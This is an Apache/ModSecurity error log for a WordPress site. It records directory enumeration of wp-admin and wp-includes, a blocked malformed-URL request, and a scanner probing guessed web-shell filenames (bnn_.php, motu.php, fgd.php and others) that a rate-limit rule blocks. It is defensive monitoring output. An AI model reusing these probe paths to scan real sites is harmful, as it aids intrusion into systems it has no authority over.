[Mon Jan 05 20:24:01.634419 2026] [autoindex:error] [pid 6680:tid 6689] [client 45.67.97.39:36991] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 20:25:17.092657 2026] [autoindex:error] [pid 6680:tid 6693] [client 45.67.97.39:36991] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/light/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 20:25:17.951273 2026] [autoindex:error] [pid 6680:tid 6689] [client 45.67.97.39:36991] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/midnight/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 20:25:18.882219 2026] [autoindex:error] [pid 6680:tid 6692] [client 45.67.97.39:36991] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/modern/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 20:25:19.940473 2026] [autoindex:error] [pid 6680:tid 6701] [client 45.67.97.39:36991] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/ocean/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 20:25:30.115928 2026] [autoindex:error] [pid 6680:tid 6703] [client 45.67.97.39:36991] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 20:25:33.607299 2026] [autoindex:error] [pid 6680:tid 6688] [client 45.67.97.39:36991] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/crystal/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 20:25:34.559834 2026] [autoindex:error] [pid 6680:tid 6691] [client 45.67.97.39:36991] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/media/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 20:25:35.647417 2026] [autoindex:error] [pid 6680:tid 6695] [client 45.67.97.39:36991] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/smilies/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 20:25:38.674253 2026] [autoindex:error] [pid 6680:tid 6689] [client 45.67.97.39:36991] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/codemirror/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 20:25:39.335363 2026] [autoindex:error] [pid 6680:tid 6701] [client 45.67.97.39:36991] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/plupload/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 20:25:40.075780 2026] [autoindex:error] [pid 6680:tid 6690] [client 45.67.97.39:36991] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/PHPMailer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 20:25:40.881907 2026] [autoindex:error] [pid 6680:tid 6703] [client 45.67.97.39:36991] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sitemaps/providers/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 20:27:05.699217 2026] [autoindex:error] [pid 5536:tid 5603] [client 45.67.97.41:54413] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/plugins/fullscreen/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 20:27:43.116033 2026] [autoindex:error] [pid 5536:tid 5599] [client 45.67.97.41:54413] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 20:27:54.421861 2026] [autoindex:error] [pid 5536:tid 5600] [client 45.67.97.41:54413] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 20:27:55.801660 2026] [autoindex:error] [pid 5536:tid 5606] [client 45.67.97.41:54413] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 20:28:08.943297 2026] [autoindex:error] [pid 5536:tid 5609] [client 45.67.97.41:54413] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 20:28:10.336390 2026] [autoindex:error] [pid 5536:tid 5598] [client 45.67.97.41:54413] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 20:28:11.688071 2026] [autoindex:error] [pid 5536:tid 5603] [client 45.67.97.41:54413] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 20:28:12.984543 2026] [autoindex:error] [pid 5536:tid 5613] [client 45.67.97.41:54413] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/Diff/Renderer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 20:28:14.054921 2026] [autoindex:error] [pid 5536:tid 5619] [client 45.67.97.41:54413] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/customize/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 20:28:15.028044 2026] [autoindex:error] [pid 5536:tid 5618] [client 45.67.97.41:54413] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 20:28:16.246977 2026] [autoindex:error] [pid 5536:tid 5608] [client 45.67.97.41:54413] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/pomo/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 20:28:17.375725 2026] [autoindex:error] [pid 5536:tid 5614] [client 45.67.97.41:54413] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 20:29:31.829461 2026] [autoindex:error] [pid 5534:tid 5555] [client 45.67.97.41:60721] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/jcrop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 05 21:42:46.707010 2026] [:error] [pid 6680:tid 6697] [client 52.167.144.169:2853] [client 52.167.144.169] ModSecurity: Access denied with code 403 (phase 2). Invalid URL Encoding: Non-hexadecimal digits used at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "82"] [id "210381"] [rev "6"] [msg "COMODO WAF: URL Encoding Abuse Attack Attempt||vetstars.com.au|F|4"] [data "REQUEST_URI=/\\x17\\x14%-\\x07@%h\\x19*%g-\\x15\\x1f"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/\\x17\\x14%-\\x07@%h\\x19*%g-\\x15\\x1f"] [unique_id "aVu_1qE58uNoazzTmx0N4AAAAQ8"]
[Mon Jan 05 22:40:49.411791 2026] [:error] [pid 5535:tid 5571] [client 4.217.221.21:36928] [client 4.217.221.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bnn_.php"] [unique_id "aVvNcWnkedMjhVX0PTWXfgAAAEE"]
[Mon Jan 05 22:40:50.475270 2026] [:error] [pid 5536:tid 5599] [client 4.217.221.21:36979] [client 4.217.221.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bnn_.php"] [unique_id "aVvNcgRtMZNG6xI8yDwbggAAAII"]
[Mon Jan 05 22:40:54.216837 2026] [:error] [pid 28407:tid 28427] [client 4.217.221.21:36977] [client 4.217.221.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bnn_.php"] [unique_id "aVvNdtercd3ptydUzM12PQAAAZA"]
[Mon Jan 05 22:40:57.246007 2026] [:error] [pid 54081:tid 54096] [client 4.217.221.21:36972] [client 4.217.221.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bnn_.php"] [unique_id "aVvNeVL4jLgtF-b9w4erSQAAAUw"]
[Mon Jan 05 22:40:58.691995 2026] [:error] [pid 5534:tid 5550] [client 4.217.221.21:36978] [client 4.217.221.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "aVvNepNs9XmbR6unB0wKUQAAAAc"]
[Mon Jan 05 22:41:00.271593 2026] [:error] [pid 5534:tid 5556] [client 4.217.221.21:36951] [client 4.217.221.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "aVvNfJNs9XmbR6unB0wKVwAAAA0"]
[Mon Jan 05 22:41:01.461784 2026] [:error] [pid 5632:tid 5659] [client 4.217.221.21:36932] [client 4.217.221.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "aVvNfYN3ZWvlOh-nbt_vXQAAAM8"]
[Mon Jan 05 22:41:02.447172 2026] [:error] [pid 5534:tid 5560] [client 4.217.221.21:36933] [client 4.217.221.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "aVvNfpNs9XmbR6unB0wKYAAAABE"]
[Mon Jan 05 22:41:03.239528 2026] [:error] [pid 5534:tid 5546] [client 4.217.221.21:40327] [client 4.217.221.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file66.php"] [unique_id "aVvNf5Ns9XmbR6unB0wKYgAAAAM"]
[Mon Jan 05 22:41:04.091691 2026] [:error] [pid 5534:tid 5555] [client 4.217.221.21:36944] [client 4.217.221.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file66.php"] [unique_id "aVvNgJNs9XmbR6unB0wKYwAAAAw"]
[Mon Jan 05 22:41:05.113237 2026] [:error] [pid 5535:tid 5580] [client 4.217.221.21:36946] [client 4.217.221.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file66.php"] [unique_id "aVvNgWnkedMjhVX0PTWXlgAAAEo"]
[Mon Jan 05 22:41:06.014161 2026] [:error] [pid 28407:tid 28433] [client 4.217.221.21:40354] [client 4.217.221.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file66.php"] [unique_id "aVvNgtercd3ptydUzM12TwAAAZY"]
[Mon Jan 05 22:41:08.342039 2026] [:error] [pid 5535:tid 5590] [client 4.217.221.21:36955] [client 4.217.221.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kure.php"] [unique_id "aVvNhGnkedMjhVX0PTWXnAAAAFQ"]
[Mon Jan 05 22:41:11.229045 2026] [:error] [pid 28407:tid 28425] [client 4.217.221.21:36953] [client 4.217.221.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kure.php"] [unique_id "aVvNh9ercd3ptydUzM12XQAAAY4"]
[Mon Jan 05 22:41:13.580627 2026] [:error] [pid 5534:tid 5562] [client 4.217.221.21:36966] [client 4.217.221.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kure.php"] [unique_id "aVvNiZNs9XmbR6unB0wKfQAAABM"]
[Mon Jan 05 22:41:15.575366 2026] [:error] [pid 28407:tid 28431] [client 4.217.221.21:36931] [client 4.217.221.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kure.php"] [unique_id "aVvNi9ercd3ptydUzM12bAAAAZQ"]
[Mon Jan 05 22:41:16.157351 2026] [:error] [pid 5536:tid 5598] [client 4.217.221.21:40381] [client 4.217.221.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gaje.php"] [unique_id "aVvNjARtMZNG6xI8yDwbmwAAAIE"]
[Mon Jan 05 22:41:17.196272 2026] [:error] [pid 5534:tid 5545] [client 4.217.221.21:36936] [client 4.217.221.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gaje.php"] [unique_id "aVvNjZNs9XmbR6unB0wKiwAAAAI"]
[Mon Jan 05 22:41:19.292835 2026] [:error] [pid 5535:tid 5582] [client 4.217.221.21:36938] [client 4.217.221.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gaje.php"] [unique_id "aVvNj2nkedMjhVX0PTWXowAAAEw"]
[Mon Jan 05 22:41:21.350874 2026] [:error] [pid 5632:tid 5662] [client 4.217.221.21:40340] [client 4.217.221.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gaje.php"] [unique_id "aVvNkYN3ZWvlOh-nbt_veQAAANI"]
[Mon Jan 05 22:41:22.791345 2026] [:error] [pid 28407:tid 28424] [client 4.217.221.21:36559] [client 4.217.221.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blnux.php"] [unique_id "aVvNktercd3ptydUzM12kwAAAY0"]
[Mon Jan 05 22:41:24.524877 2026] [:error] [pid 5534:tid 5553] [client 4.217.221.21:40346] [client 4.217.221.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blnux.php"] [unique_id "aVvNlJNs9XmbR6unB0wKmAAAAAo"]
[Mon Jan 05 22:41:25.378879 2026] [:error] [pid 5536:tid 5621] [client 4.217.221.21:40353] [client 4.217.221.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blnux.php"] [unique_id "aVvNlQRtMZNG6xI8yDwbrAAAAJg"]
[Mon Jan 05 22:41:25.942919 2026] [:error] [pid 28407:tid 28415] [client 4.217.221.21:40325] [client 4.217.221.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blnux.php"] [unique_id "aVvNldercd3ptydUzM12mAAAAYU"]
[Mon Jan 05 22:41:30.188370 2026] [:error] [pid 6680:tid 6688] [client 4.217.221.21:40372] [client 4.217.221.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fgd.php"] [unique_id "aVvNmqE58uNoazzTmx0gagAAAQY"]
[Mon Jan 05 22:41:31.917583 2026] [:error] [pid 5536:tid 5613] [client 4.217.221.21:36954] [client 4.217.221.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fgd.php"] [unique_id "aVvNmwRtMZNG6xI8yDwbuAAAAJA"]
[Mon Jan 05 22:41:35.428860 2026] [:error] [pid 6680:tid 6698] [client 4.217.221.21:36958] [client 4.217.221.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fgd.php"] [unique_id "aVvNn6E58uNoazzTmx0gegAAARA"]
[Mon Jan 05 22:41:40.090262 2026] [:error] [pid 28407:tid 28423] [client 4.217.221.21:36975] [client 4.217.221.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fgd.php"] [unique_id "aVvNpNercd3ptydUzM12swAAAYw"]
[Mon Jan 05 22:41:41.221049 2026] [:error] [pid 5534:tid 5552] [client 4.217.221.21:36976] [client 4.217.221.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/msy.php"] [unique_id "aVvNpZNs9XmbR6unB0wKrgAAAAk"]
[Mon Jan 05 22:41:45.291290 2026] [:error] [pid 5536:tid 5598] [client 4.217.221.21:36968] [client 4.217.221.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/msy.php"] [unique_id "aVvNqQRtMZNG6xI8yDwbywAAAIE"]
